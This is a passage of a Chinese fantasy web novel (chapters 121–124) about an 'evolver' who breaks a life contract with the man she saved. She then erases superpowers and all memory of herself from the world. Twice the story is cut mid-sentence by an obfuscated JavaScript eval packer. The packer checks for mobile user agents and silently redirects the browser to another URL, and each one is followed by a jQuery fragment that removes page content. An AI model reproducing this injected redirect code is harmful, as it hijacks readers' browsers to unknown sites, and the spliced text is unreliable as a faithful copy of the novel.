听到她说这句话,庾林没有表现出一丝欣喜,相反,原本就苦涩的脸,在这句话后,又增添了一分苍白。 就好像听到了死亡宣判。 周拾秋咬了咬牙,抬手摸了摸庾林的脑袋,轻声自言自语:“我当时真的只是想做件好事,却没想到会给你带来这么大的麻烦,如果一切都因我私心而起,大概也该由我将这份私心收回来。” “你在说什么?” 庾林听不懂她话中含义,试图从她眼中找到答案。 然而周拾秋没有给他这个机会,她双手搂上庾林的脖子,将庾林塞进一个强制的怀抱。 她踮起脚尖,埋首于庾林的颈侧,指尖轻抚着他的后脑勺,声音前所未有的温柔: “庾林,忘记我救你的交换条件吧,我不需要你做男朋友来陪我了。” “不行!” 苹果从手中滑落,庾林收紧双臂,死死将周拾秋囚禁其中。 在他眼中,周拾秋就像是他拼尽全力才握进手心的一缕光,而这缕光正在消散,他越是努力攥紧,越是绝望。 看见庾林这般模样,周拾秋眼中刚刚泛起的金色波纹就因动摇而潜藏。 正当此时,房门被推开,康管家半个身子探了进来,焦急地提醒:“周小姐,进研所的人上楼了。” 说罢,康管家进屋锁上门,试图以此拖延些许时间。 周拾秋眼中金色波纹骤现,将不该有的动摇抛开,语气不由得变得坚硬起来: “没关系,不用你答应,我自己来。” 庾林同样坚决,“你又想对我用异能吗?忘了你的异能对我无效吗?” 周拾秋松开挂在庾林脖子上的手,身子微微后仰,抬头直视庾林的眼睛。金色波纹从眼中漫出,逐渐将庾林包围。 在庾林疑惑又震惊的注视下,周拾秋嘴角噙着笑,语气淡然: “嗯,对你的确无效,但对我的诅咒和我们的契约有效。” 121. 第121章 当周拾秋认定自己此生都不能喜欢任何人的时候,她觉得自己的诅咒糟糕透顶了。 她希望自己跟普通人一样,拥有所有普通人该有的感情,却偏偏被删除了喜欢,她究竟犯了什么天条,至于受到此等惩罚? 五年天一场大火,她遇见了让她眼前一亮的人,嘴上开着玩笑,让他用做她男友,以此为条件,交换自己的生命。 不用喜欢她,活着就好,活着,然后陪在她身旁。 这样,诅咒就奈何不了她了吧。 大抵就是因为这样带着点玩笑的对抗想法,将诅咒转移到了庾林身上。 在毫无觉察的情况下,两人缔结生命契约,刻下占有印记,从此,他属于她,亦拥有了她的诅咒之力。 只是那时的周拾秋并不知道,她的诅咒是读心,与孤独终老没有半点关系。 那时的她,还傻乎乎地以为,她终于可以随便喜欢别人,像普通人一样,谈一场恋爱,有人相伴。 可惜,那场大火以后,她再没遇上想要留在身边的人。 如今那人就在眼前,她却不得不放他离开。 那个无意中缔结的契约,将庾林绑了五年,和转移的诅咒一起,摧毁了他原本的生活。 “庾林,你之所以会喜欢我,可能是因为契约留在你身上的印记,强行让你只属于我。现在我将契约收回,从今往后,你自由了,可以回归正常生活。” “庾林,我不需要人陪伴了,诅咒我拿走了。” 周拾秋平静地对庾林说着告别的话,异能散发的微光旋转着,将庾林包裹起来,目标却不是庾林的意识,而是留在庾林生命中的无形契约。 在庾林身上,周拾秋强烈地感知到熟悉的气息,那是属于她的诅咒之力,切实扎根在庾林脑海中。 隐约中,周拾秋听见一个声音,低声呢喃:“你确定不选他了吗?” “嗯,不需要了,离开他的身体。” 周拾秋感觉能与之对话,心里命令着诅咒离开庾林的身体。 须臾之间,庾林感觉有什么东西正在逃离,视线逐渐模糊,连带着抽走了他所有力气。 他挣扎着想要维持清醒,可就像吸入了麻醉气体,意识渐渐变得不再清晰,眼前的一切疯狂远离。 张开双手努力想要抓住什么,却抓了空,庾林的身体摇晃着,被晕眩感带着摔向地面。 在庾林倒地的瞬间,周拾秋及时护住他的脑袋,拼尽全力,将其拉入怀中。 契约解除了。 房门被敲响,在没得到回应后,敲击转变为撞击。 康管家艰难地抵着门,身体却因一次又一次的撞击而震颤,似乎随时可能跟着房门一起飞出去。 周拾秋不敢再耽误时间,手指轻轻抚摸着庾林的脸颊,然后低下头,一个轻柔的吻落在了庾林的额头。 “庾林,委托完成,我们的关系到此为止。” 一句话说完,周拾秋将庾林放倒在地上,起身打了个响指,将地上失去意识的两人唤醒。 庾双起身有些迷糊,转头看见昏倒在地上的庾林,和庾林身边站着的周拾秋,还有正从地上爬起来的纪骞宏,尖叫再度响起。 下一秒,康管家遭到了前后夹击。 纪骞宏对于被周拾秋算计的事耿耿于怀,可再看地上躺着的庾林,以及随时可能破门而入的追兵,没空多想。 他一手开启空间黑洞,一手拽住周拾秋。 在进研所破门而入的瞬间,两人一同被吸入黑洞,随即从房间里凭空消失了。 穿过黑洞的瞬间,周拾秋耳朵里又响起烦人的警报声,医院方向浓烟滚滚,动静大得有些瘆人,混杂着尖叫声,乱成一团。 周拾秋正朝着医院方向张望,就被纪骞宏一把推进车里,此刻百泉已经坐在驾驶座上发动了引擎。 纪骞宏不敢多耽搁,以花惜宁为锚点,再次开启空间黑洞,毅然入洞救回花惜宁与书晨。 然而等纪骞宏再出现时,背上只背着花惜宁。 黑洞关闭,纪骞宏和花惜宁上车,四人趁着进研所还未觉察,扬长而去。 他们没有回花店,车开出几条街后,就被撇到了无人的角落里,纪骞宏果断发动异能,开启空间黑洞,拉上三人彻底逃离了凌沪市。 周拾秋不知纪骞宏又连接上了哪里的锚点,穿过黑洞进入了一处地下室。 看样子,像是他们早有准备的秘密基地。 四人刚出现在房间里,一只小黄狗奋力摇着蓬松的尾巴,跑到了纪骞宏面前,抬起前脚,一边汪汪叫着,一边趴在纪骞宏身上,仿佛尽其所能热烈欢迎。 环顾四周,密闭的空间里再无其他人。 纪骞宏既然能将他们传送到这里来,那这附近必定存在锚点。 难道他们对她有所隐瞒? 除了他们四人,还存在接应? 周拾秋咬着手指甲,全力感受着四周的异能气息,却始终没能捕捉到除四人外的异能。 不能遗漏任何一人! 周拾秋此刻只有这一个想法。 只见纪骞宏俯身摸了摸小黄狗的脑袋,然后随意下达一声指令,小黄狗就像听懂了他的话,自己跑到一旁趴着玩儿去了。 大概是刚才异能使用太多次,纪骞宏疲惫地走到冰箱旁,拿出一瓶冰冻的汽水,猛喝一口,然后长长地叹出一口气。 花惜宁坐在轮椅上,面色有些苍白,想必方才与进研所正面冲突,她也到了极限。 只有百泉因为没有正面参与到突袭中,状态没有太大变化。 周拾秋此刻的注意力集中在小黄狗身上,心中不免产生些顾虑。她指着小黄狗问:“这狗是你们养的?” “不是,房东家的狗,我租下这间地下室时,索性提议帮房东照顾。”百泉解释。 “这里是你们的据点?不怕房东发现异常吗?”周拾秋看似随意地问道。 百泉自信回答:“放心,租房时就我一人,没人认得出来,而且房东人在外地,每月按时交房租就成,他不会突然来这里。再说了,每次出入这里都是靠骞宏传送,没人会注意到。” “那这狗干嘛要留着?平时你们都不在,谁来照顾?” 周拾秋一心想弄清他们还有没有同伙,又不能明着问,只好顾左右而言他。 “噗,小秋连这都操心呢?这只狗其实是方便我们返回据点用的锚点,平时骞宏会来照顾,所以那狗与他最亲近。”百泉笑道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311467|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哦,原来如此。” 周拾秋嘴角露出意味深长的笑。 花惜宁听着两人你一言我一语揪着那条狗不放,拍着轮椅扶手,冲周拾秋大叫起来:“你还有闲心关心狗的问题?书晨因为你,已经落入进研所手里……” “惜宁!”百泉厉声喝止,“这次计划本来就有风险,大家都心知肚明,技不如人落入进研所手里,难道还能怪到同伴头上吗?” “泉姐……”花惜宁对周拾秋本就心存芥蒂,此刻听百泉为她说话,更是不甘心,“如果她行动再快点,书晨大概就不会……” 百泉满不在乎地打断:“行了,别在不重要的事上纠结。我们今后的目标是改变整个世界,小秋于我们的计划至关重要!” 花惜宁偷瞄了一眼周拾秋,心中愤愤不平,辩解:“可是书晨那个蠢货的异能如果被进研所利用,会助长进研所的实力啊。” 此时,稍微恢复一点精力的纪骞宏插话:“现在我们应该尽快撤离。” 一句话,瞬间吸引了房中所有人的注意力。 “你害怕这里会暴露?”百泉问。 “嗯,书晨被抓,肯定会遭受进研所审讯,他知道这个据点,说不定会将位置暴露给进研所,我们待在这里越久越危险。” 纪骞宏分析着目前形势,冷静中带着几分不近人情。 周拾秋只是安静地听着三人对话,竟莫名觉得有几分好笑。 听上去,百泉根本不在乎同伴,她更在乎绝对实力。大概只有能帮助她实现野心的能力,她才会高看对方一眼,否则,对方是死是活,她都不在意。 花惜宁看似在意书晨被抓一事,可她真正担心的是书晨的异能被进研所利用,这会对她们造成负担。 至于纪骞宏,他在意的只有自己的安危,听说同伴被抓后,他思考的不是要不要救人,而是对方会不会出卖自己。 他们真的是同伴吗? 不,他们不过是一群同样拥有不切实际想法的乌合之众。 改变世界?何其可笑! 如此思考着,周拾秋不禁笑出了声。 房间里立刻陷入一阵沉默,三双眼睛不约而同看向她,仿佛在看一个怪人。 谁也不懂她为何这种时候还笑得出来。 周拾秋在三人诧异的目光注视下,抚着胸口,平复着因发笑带来的情绪波动,强压下嘴角,道歉:“对不住,就觉得你们这个组合挺搞笑的。” 花惜宁面色阴沉,指甲将轮椅扶手抓出刺耳的声响,带着怒气对百泉说:“泉姐,我们真要让这个女人加入吗?我真的很不喜欢她!” “我们都是同类,只要联合我们的异能,一定可以创造一个全新的世界,一个由进化者统治的世界。”百泉半是安慰,半是宣示着野心。 花惜宁见说服不了百泉,只好从纪骞宏下手,“骞宏哥,你们那边任务完成了吗?” 看似好像在问纪骞宏,实则是在确认周拾秋是否说到做到。 这点周拾秋怎么可能没听出来,但她没有说话,若无其事地盯着纪骞宏,看他能给出什么回答。 百泉对此也瞬间来了兴趣,转向纪骞宏,挑明了问题:“那个理想者死了吗?” 122. 第122章 听到这个问题,纪骞宏微微皱了皱眉,“我不确定,当时情况太紧急了,我只看到姓庾的倒在地上,至于是死是活……” 说这句话时,纪骞宏的眼神与周拾秋撞到了一起,眼中有质疑。 “没死啊。” 周拾秋理直气壮地给出了三人在意的答案。 “嗯?”百泉一脸不解,“没来得及解决那个理想者吗?” 花惜宁抓住机会,赶紧火上浇油:“哼,我看是舍不得吧!她真的决定好与我们合作了吗?不会是骗人的吧?” 花惜宁的话让纪骞宏更加起疑,他一脸严肃质问周拾秋:“在病房里,你对我使用异能了?为什么?” 花惜宁闻言更抓狂了,高声骂道:“我就说她有问题吧。此前骞宏哥担心她会害我们的计划走漏风声不是没有理由。” 百泉有些不悦,低声怒斥:“不是什么话都可以乱说,我相信小秋不会为了那些低等人类同我们作对。” 三人争执不休,周拾秋全程镇定自若,就好像一切都与她无关似的。 等了好一会儿也不见三人住嘴,周拾秋手指抵在唇上,嘘了一声,示意三人收声,神情厌倦地开口打断三人。 “太吵了,要不听我解释?” “解释什么的,等转移到安全的地方再说。”纪骞宏有些心急,转身就去收拾必要的东西,显然此刻并不想听周拾秋狡辩。 百泉点头认同:“骞宏说的在理,先别纠结这些了,进研所说不定很快就能查到这里来。” 花惜宁虽然不甘心,可理智还是让她听从了指示。 只有周拾秋一脸惋惜地说:“啊?可我现在就想解释怎么办?” 对于她的话,三人选择性无视,各自收拾起想要带走的行李。 与三人忙碌的身影不同,周拾秋像个无所事事的闲人,在房间里悠闲踱步,漫不经心地问着不相干的问题:“你们打算逃到哪里去呢?这间地下室又在哪里呢?你们确定没有别的同伴接应了吗?就我们四个真能改变世界吗?” 她的唠叨令人心烦,看到三人面露焦躁之色,她满意地笑了。 这些答案都不重要了。 当纪骞宏想让百泉管管周拾秋的嘴时,他突然愣在原地,身体似乎不再受自己控制,仿佛大脑控制身体的每一根神经都被什么东西阻断了。 “周拾秋?” 纪骞宏第一反应喊出了她的名字。 而当事人此刻拖了根凳子,在房间中央坐下,装出人畜无害的模样,眨眨眼,一脸天真地望向纪骞宏。 她夹着嗓子说:“嗯?我在呢,怎么了?你想现在听我解释了?” 百泉觉察到异样,转头看了看纪骞宏,只见纪骞宏正背对着自己,蹲在储物柜前,一动不动。 “有什么问题现在非说不可吗?”百泉满脸疑惑,缓缓向纪骞宏靠近。 “我、我动不了了!周拾秋,是你干的?” 纪骞宏的话立即引起百泉和花惜宁的警觉。 与此同时,不等周拾秋开口,花惜宁眼中便浮现出白雾,翻涌着溢出眼眶,向着周拾秋奔袭。 可惜,白雾在距离周拾秋一步之遥时,仿佛被无形的墙壁挡住,彻底无法前进,不断堆积,雾气缭绕。 而雾墙后的周拾秋,默不作声看着花惜宁,嘴角微微上扬,一副不慌不忙的模样。 百泉意识到不对劲,想命令二人停手,可刚准备抬脚上前,才发现浑身像被什么东西绑住,根本无法动弹。她的视线疑惑下移,只见地下生出无数金色丝线,从脚底一直向上蔓延,附着全身。 再细看,那金色的丝线犹如疯长的根系,布满了整个房间地板,而源头就在周拾秋脚下。 更确切地讲,那是周拾秋的异能显形。 在他们尚未注意到时,已然悄悄从眼中释放,潜藏于她肤纹之中,顺着地面向四处蔓延。 那金色丝线如同捕猎中的蛛网,一旦被它缠上,猎物便再也动弹不得了。 而现在,百泉、花惜宁、纪骞宏正是蛛网上的猎物。 “小秋,你这是做什么?”百泉声音微颤,不知是害怕,还是愤怒。 此刻的周拾秋无心猜测。 “你不是说想用我的异能,改变世界吗?”周拾秋摆出一脸无辜样,语气平缓,“我想了想,成神,也不是不可以。” 在发现四周雾气散去,花惜宁没了声音,纪骞宏也没了任何反应后,百泉逐渐失去了耐心。 “你到底想干什么?” 周拾秋掩嘴轻笑,细声安慰:“放心,我只是想在你们身上做个实验,看看我的异能是否真能改变世界。” 百泉高声质问:“实验?什么实验?你想做什么可以跟我商量,难道我不会配合你?为什么要控制所有人?” 周拾秋摇着手指,“不不不,不同时控制住你们,让你们跑了怎么办?” 看着周拾秋脸上近乎癫狂的笑,百泉的心彻底乱了。 她看着周拾秋,眼神充满疑惑与恐惧,像是在看一个怪物。 “你疯了吗?” “哈哈哈——” 周拾秋闻言捧腹大笑,“这不就是你想要的结果吗?跟你一样疯狂的进化者。” 一边说着,她凌空朝纪骞宏抬了抬手。 纪骞宏就像提线木偶一样,表情木讷,转身走到了周拾秋面前。 “先从他开始吧,你们的危代关系有些麻烦,如果先对你动手,我真担心纪骞宏会帮你挡灾。”周拾秋面带善意解释。 百泉咬牙切齿:“我们不是你的敌人!” 周拾秋的情绪似乎被她一句话点燃,原本和善的脸上,终于浮现出愤怒的火焰。 “但也不是朋友了。我一向不喜欢受人威胁。” “你在报复我?因为那个理想者?”百泉一脸难以置信。 周拾秋没有理会,摆出一副思考的姿态,自言自语道:“让我想想,他当时怎么威胁我来着?哦对了,危机管理局的手环不会永远戴在手腕上,这世上从不乏意外。很有道理!” 说着,周拾秋勾了勾手指,纪骞宏手腕上的手环便自动脱落,掉在地上,被周拾秋抬脚踢到一边。 “意外,这不就来了么?” 周拾秋抬眼瞥了百泉一眼,看似笑容满面,眼神中却透着一股肃杀之气。 不过是眨眼的功夫,纪骞宏动了。 大约是头疼,他手扶着额头,身子晃了两晃,随即抬头张望,脸上满是疑惑。 “你们是谁,在这里干嘛?不……我怎么会在这里?” 意识一片混乱,纪骞宏捂住脑袋,整个人陷入一场崩坏,五官因痛苦扭曲,不过片刻,额间浮出一层冷汗,顺着鬓角往下滴。他腿下一软,单膝跪在了地上。 见纪骞宏忍受痛苦的模样,百泉心下骇然。 可无论她如何呼唤纪骞宏,也换不来纪骞宏的回应,唯一的反应更叫她心寒。 纪骞宏看向她的眼神,犹如在看一个从不认识的陌生人,满是疑惑与恐惧。 “你到底做了什么?!”百泉气恼地冲周拾秋喊道。 周拾秋依旧没有理会百泉所言,观察着痛苦挣扎的纪骞宏,一脸认真。 那眼神,不像在看一个人,而在看一只实验中的小白鼠。 她带着探究的口气询问:“你要试试还能用异能吗?” “你在说什么?什么异能?你们究竟是谁?怎么回事……这里是哪里?我为什么会在这里?” 纪骞宏声音颤 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“嗯,稍微调整后,结果还不错。” 周拾秋抛出结论,说话方式异常冷漠。 “什么意思?” 此刻的周拾秋让百泉感觉不妙。 周拾秋冲她灿烂一笑。 “泉姐姐,你的愿望,我帮你实现吧!” 百泉没有接话,只是瞥了一眼倒在地上的纪骞宏,本能在预警,告诉她,周拾秋的想法很危险。 周拾秋并不在意有没有得到回应,自问自答一般道:“你这么快就忘了吗?创造一个全新的世界啊。可是由谁来统治我不感兴趣,规则我却可以替你制定!” “什么规则?” 百泉咽了咽口水,低声询问。 “让进化者能够和普通人一样生活的世界,你会喜欢吗?” “这不是我们共同的目标吗?” “呵呵,我们的想法可能不太一样哦。” “怎么不一样?” “你说,如果让异能从这个世界消失,如何?” “怎么可能!” “是啊,从前我也觉得不可能。所以还要多谢你们,让我有了放手一搏的想法,也许我真的可以改变世界。” “周拾秋……你别做蠢事……” “作为进化者,我实在太克制了,今天偏偏想放肆一回。只要让异能从这世间消失,进化者不就跟普通人无异了吗?” “……你真的疯了!” “哈哈哈……没想到这句话能从泉姐姐嘴里说出。好了,让我们开始吧。” 话音刚落,周拾秋脚下金色丝线瞬间开始向四面八方扩散,如同藏于地下的藤蔓,疯狂生长,抓住行径过程中遇到的一切,不管是生物,还是死物。 而被周拾秋异能抓住的生物,蓦然丧失了意识,眼神空洞,再无行动力。 “可惜,等你再醒来,就记不得自己的愿望了。” 周拾秋的声音在房间里回荡,带着些许惋惜,笑意却在眼中弥漫。 地面上的金色波纹占据了整间地下室,并无视阻挡,继续向外延伸。 范围再广些,再广些…… 这一次,她意识控制产生的影响有两点: 一是让人遗忘关于异能的一切;一是保留连环凶案的罪犯信息。 凶手的身份将植入所有人的意识之中,凶案手法不再涉及异能,而动机依旧是企图挑起理想者与守旧者的矛盾,那四人同样会被受到法律制裁。 或许唯一的改变,是从今往后世上不再会有进化者。 一个由周拾秋创造的新世界,即将到来。 123. 第123章 L464年1月6日晚,褚成舟和施煦尚在进研所里确认兵力调动情况,目标是凌晨悄悄潜进佑民医院,迎接计划袭击医院的进化者。 然而,晚上大约9点,进研所接到紧急电话。 来电人是驻扎在佑民医院的调查专员,声称遭遇进化者突袭。 接到上级命令,支援队伍立即出动,几乎能派遣的专员和进化者全都被派往医院,势要掘地三尺将那伙罪犯抓捕归案。 褚成舟本想带着施煦跟随同去,却因为尚在停职状态惨遭拒绝。 无奈之下,施煦便陪他留在进研所里待命。 “被周拾秋耍了吗?”褚成舟小声嘀咕着,说出了第一反应。 施煦摇了摇头,理性分析:“周小姐没必要这么做,她的核心目标是除掉威胁她和庾先生的罪犯。” 褚成舟扯了扯嘴角,无奈一笑:“我明白,只是进化者终究与普通人不一样,行为模式没那么好预测。” “我相信周小姐,大概是出了别的问题。” 施煦面色沉静,说出的话让褚成舟一时分不清,究竟是基于事实的判断,还是一种安慰。 等了大约二十来分钟,进研所里陡然警铃大作。 红色的灯光不停闪烁,留在进研所里的监测人员霎时间炸了锅。 “检测到异能值极速飙升,有进化者在发动异能,异能波即将抵达进研所,异能屏蔽防护墙自动开启!” “这异能浓度不对劲!是佑民医院那边交火产生的吗?” “不,十分钟前收到前线联系,进化者一人被捕,其余逃离,现正在循着异能残留追寻踪迹。” “报告!异能值来源是鸾鹤市!现在多地研究所都监测到异能反应。” “不好,这是全球范围内的一次袭击!” “异能值检测结果有了吗?” “是夜白鹭!” “异能波即将抵达,准备迎接冲击……” “通知研究所外的专员注意躲避。” “来不及了!” 监测室内交谈声此起彼伏,最终淹没在突如其来的冲击震动中。 褚成舟只觉地动山摇,脚下有些站不稳,四周东西乱飞,连天花板都摇摇欲坠,疯狂往下掉着碎屑残渣。他急忙将施煦拉到桌下,用身体护住施煦的脑袋。 不过片刻,所有灯光在震动中彻底熄灭,只有警铃声依旧回荡,刺耳的声音继续散播着恐惧。 很快,震动产生的高频声波刺穿了所有人的耳膜,四周瞬间归于平静。 同样的情况不仅发生在凌沪市的进研所里,还有全球各地研究分所。 等褚成舟从耳鸣中恢复清醒,进研所的灯光已经重新亮起,警铃停止,四周仿佛遭遇了什么自然灾害,乱得不成样。 检测室内讨论声再起,开始与外界联系。 而此刻褚成舟的手机铃声响了起来。 来电人是周拾秋,褚成舟拉着施煦躲到了无人处,接起电话就质问周拾秋到底做了什么事,他方才分明听监测室中有人说异能值属于夜白鹭。 周拾秋没有正面回答,声音听上去透着股气若悬丝的味道。 周拾秋:“褚专员,对不住,与你的约定我得食言了。” 褚成舟:“这是什么话?你现在打算帮那几个罪犯?” 周拾秋:“那倒不是,你们想抓的人跟我在一起,追踪我的手机信号应该就能找到。不过,抓到后应该用不着你们进研所负责了。” 褚成舟:“你到底做了什么?” 周拾秋:“没什么,只是我突然反悔了,我还想活着,所以,不打算束手就擒,便让这世界变得稍微适合我生存一点。” 褚成舟:“说什么鬼话?等我过去找你!” 周拾秋:“对不起,我当不了你的头等功了,不过我想抓到连环凶案的凶手,应该也足够你复职了。” 褚成舟:“你身份已经曝光,你逃不掉的……” 周拾秋:“是吗?试试看吧……我要走了,别挂电话,记得追踪手机信号。对了,还好你还记得我,再见了,褚专员。” 说完莫名其妙的话,电话那端传来一阵脚步声,渐行渐远,最后再没有响动。 褚成舟不明所以,只得先依言调查并定位手机信号。 而不久以后,褚成舟终于明白了周拾秋话中含义。 在进入L464年后不久,这个世界一夜间发生了奇妙的改变。 持续几个月的连环凶案告破,四名凶犯落网,据说是冒险潜入医院袭击目标人物,一人被当场抓捕,另外三人逃往外地后也意外暴露了行踪,最终全员被捕归案。 而抓住这伙罪犯的人,居然不是警方,而是致力于研究异能的进化研究所。 对于这所谓的进研所,大众评论褒贬不一。 有人觉得是浪费纳税人的钱,研究那些根本就不存在的超能力,有这闲心,还不如去研究外星人;也有人觉得科学地研究未知,也算是进步的一种方式。 就连进研所内的工作人员,都分成了两派。一派坚称进化者的确存在,一派觉得这就是一份工作,不信,但保持尊重。 褚成舟是未随世界改变的少数派。 他亲眼见证了,进化者的存在从全城市民脑海中消失,甚至包括当晚因为支援而外出的所有专员。 那日他追踪周拾秋的手机信号找到了百泉三人,并将他们抓回进研所。 明明检测仪器能测出四位罪犯的异能情况,可四人对于异能矢口否认。他们甚至觉得进研所为了证明进化者存在,试图无中生有,拿他们充业绩。 后来警方介入,从进研所手中接管了四名罪犯,等待他们的是法律的制裁,而非人格改造。 就从那一天起,整个世界看进研所的眼神都变了。 以前是敬畏,现在像看神经病。 为了证明进化者真实存在,未被洗脑的人想让进化专员展示异能。 可和那四名罪犯一样,当晚被异能影响的进化者声称没有异能,之所以任进化专员职位,不过是服从上级安排罢了。 当晚唯一留在进研所里的施煦,似乎成了唯一还保留异能的人。 然而褚成舟隐瞒了此事,并让施煦不得在他人面前展现异能。 当一个人成为极少数时,谁知道会有什么灾难降临呢?褚成舟不希望施煦成为承受这种结果的人。 于是,一夕之间,几乎所有城市的进化者都消失了。也许也有同施煦一样的漏网之鱼,可谁会傻到这个时候跳出来呢? 时间一长,连保有记忆的人都开始对自身记忆产生怀疑了。 进研所依然存在,可存在意义似乎发生了转变。 世界的统治者不再重视这个组织,经费骤减,人员流失,渐渐变成了可有可无的存在。 褚成舟曾试图去寻找周拾秋,可原本与周拾秋有过接触的人似乎全都忘记了她的存在。 他拜访了周拾秋的家人,却并没有得到想要的答案。 而他们的回答令褚成舟啼笑皆非。 周父叹着气:“你怎么会知道这个名字?这名字我们很久都没提过了,那可怜的孩子,出生不久就夭折了,我跟她妈伤心了好久。” 周母抹着泪:“希望她下辈子生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15329399|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在好人家,别跟着我们受苦。” 周予夏:“这名字我爸妈很少提,那段记忆并不好,很遗憾,我出生前,我姐就死了。你是进研所专员?啊,我的志愿就是考入进研所来着!你说为啥?呃……对啊,为啥呢?” 后来褚成舟又去花店找了齐绮,可得到的回答依旧冰冷——不认识。 褚成舟瞥了一眼二楼,不死心又问:“齐小姐一直独居?” “问这干嘛?” 齐绮瞬间警觉,眼神中带着一丝敌意,要不是褚成舟身旁还跟了一个看上去人畜无害的姑娘,她怕不是要将褚成舟赶出门。 褚成舟汗流浃背地解释:“啊,别误会,我没别的意思,就觉得你一个人开店肯定挺不容易的。” 齐绮松了口气,笑道:“以前有个朋友跟我合租帮忙来着,后来好像有事离开了,叫啥名字来着,哎呀,瞧我这记性,居然忘了。” 说话间,齐绮努力思索,却没能成功从记忆中提取到相应答案。 明明感觉有些怀念,却怎么也想不起,然后她莫名有些难过起来。可要问她在难过什么,她又觉得有些茫然。 同样的情况也发生在庾林身上。 对于这两个来月的经历,庾林都还记得。 因为给协议危代人差评而结识了守旧者,作为弥补,协议危代人充当秘书帮过他一段时间,后来他被连环凶案的罪犯盯上,差点被杀,还是协议危代人替他挡了一劫。 过去种种都还留在记忆中,只是当褚成舟问他协议危代人的名字时,庾林斩钉截铁回答:“乌鸦小姐。” “哦……乌鸦小姐的真名,庾先生还记得吗?”褚成舟试探。 庾林一脸不屑:“这重要吗?我对危代人的私人信息并不敢兴趣,不过是委托合作罢了。” 褚成舟苦笑:“我还以为经历这么多,你们关系会不一般呢……” 庾林目光冰冷,不留情面地回怼:“进研所已经开始研究起人际交往了?专员先生如果实在无事可做,不如找个正经工作。” 褚成舟被怼得哑口无言,无奈离开了佑民医院。 周拾秋这个人,仿佛随着异能一起,从所有人的记忆中被剔除了。没有人还记得她,更没人知道她去了哪儿,就像是人间蒸发了一般。 走出住院部大门,褚成舟习惯性撑起遮阳伞,往施煦那边倾斜。 走了两步他才回过神,嘴里叼着一根烟,却没有点燃,冷笑一声,忍不住调侃:“真是可惜了,那晚真该让你回家,说不定现在你也可以跟其他进化者一样,连诅咒都被治愈了。” 施煦抬头望着他,笑容和煦,声音柔缓:“没关系,我早就喜欢与诅咒和平共处了。我的任务是协助褚专员,你在哪儿,我就在哪儿。” 面对施煦的坦诚,褚成舟失笑,“任务吗?真是没人情味的答案。” “褚专员,我闻到附近有很香的味道,饿了吗?先去吃饭吧。” 施煦不等褚成舟答复,便拉着他的胳膊往院外走去。 “动用异能也成习惯了吧?” “没关系,褚专员不会举报我,对吧?” “哼,别得寸进尺。” “最近离开进研所的太多,所里决定取消进化专员的月度考核,你现在就算申请更换搭档,应该也不会被受理。” “威胁?” “不,陈述事实。” “知道了,走慢点,伞挡不住了!” “要不你走快点?饿了。” 两人身影逐渐远去,而进化者也就此成了不存在的历史,只留在少数派的记忆中,或许有一天会彻底被遗忘。 124. 第124章 庾林还记得那一晚,没能成功杀掉他的罪犯竟然想潜入医院,却遇上以医院作为研究地,寻找进化者存在痕迹的进研所专员。 那一晚,警报声响得惊天动地,最后有一人落网,还有三人落荒而逃。 只是庾林醒来时,莫名发现自己躺在地上,回想发生了什么,却只记得有一名罪犯闯入病房,最终被赶来的进研所专员吓跑。 至于自己为何会晕倒,他着实想不起来。 甚至连自己住院的缘由都显得有些诡异。他没有外伤,医生检查后也说他身体一切正常,住院只因奇怪的昏迷。 他好像遗忘了一些重要的东西,却又不知道是什么事。 一夜之间,罪犯因鲁莽而被捕,连环凶案也因此告破,凌沪市重新恢复了往日的安宁。 两日后,在确定他身体无恙后,主治医生允许他出院。 因为没了犯罪者的威胁,庾林带着康管家重新住回了公寓。 不过生活还是发生了一些改变,这次住院,他与家人闹得有些不愉快,萌生了离开自由区的想法。 至于为何会跟家人闹得不愉快,究其原因,还是五年前那场绑架案。 那是庾林与他父亲之间的心结,恐怕一辈子都无法和解。 姐姐庾双担心他一个人住在外面,会再遇到危险,努力想要劝说他住回家里,可庾林一门心思只想逃离,那个地方对他而言,早就无法称之为家。 不过他并没有告诉姐姐实情。 毕竟,一位父亲因为怀疑孩子不是自己亲生的,就买凶杀人,实在不是一件体面的事。 庾万松对于庾双来说,还是一位合格的父亲,而对庾林来说,当她母亲因接受不了这个真相而自杀时,父子之情就已经断了。 不过,庾林现在已经想不起,为何五年前会知晓这个残忍的真相。 不管怎样,反正他现在准备彻底远离那个人。 他申请了改籍,并打算辞去态宇科技的总监之职,搬去禁仿区住。 庾双又哭又闹。 对于这位姐姐,庾林终究狠不下心来。最后结果,两人各退一步,庾双同意庾林改籍搬去禁仿区,但庾林保留设计总监职务,正常情况下,进行远程办公。 这样的办公方式,庾林轻车熟路。 在过去的五年里,他几乎与外界断了绝大多数不必要的联系,工作也多通过康管家协调。 至于为何如此,他自认为是因父亲带来的心理创伤影响。 隐约中,他总觉得有点别的理由,可细想之下,又什么都想不出来。 继续维持这样的工作模式也没什么不好,既可以有稳定的收入帮助他开启全新的生活,又可以维持他为数不多还在乎的亲情。 大约两个月后,庾林改籍手续完成,也顺理成章搬入了禁仿区。 他没法带康管家同去,便让康管家留在公寓,一来帮他照顾房子,二来像以前一样,帮他处理工作对接相关事宜。 庾林在涟上区龛云路租了间复式楼小商铺,楼下开电器维修店,楼上住家。 街坊邻里听说他是理想者改籍,不时就带着好奇心往他店里走,犹如观察奇珍异兽一般。 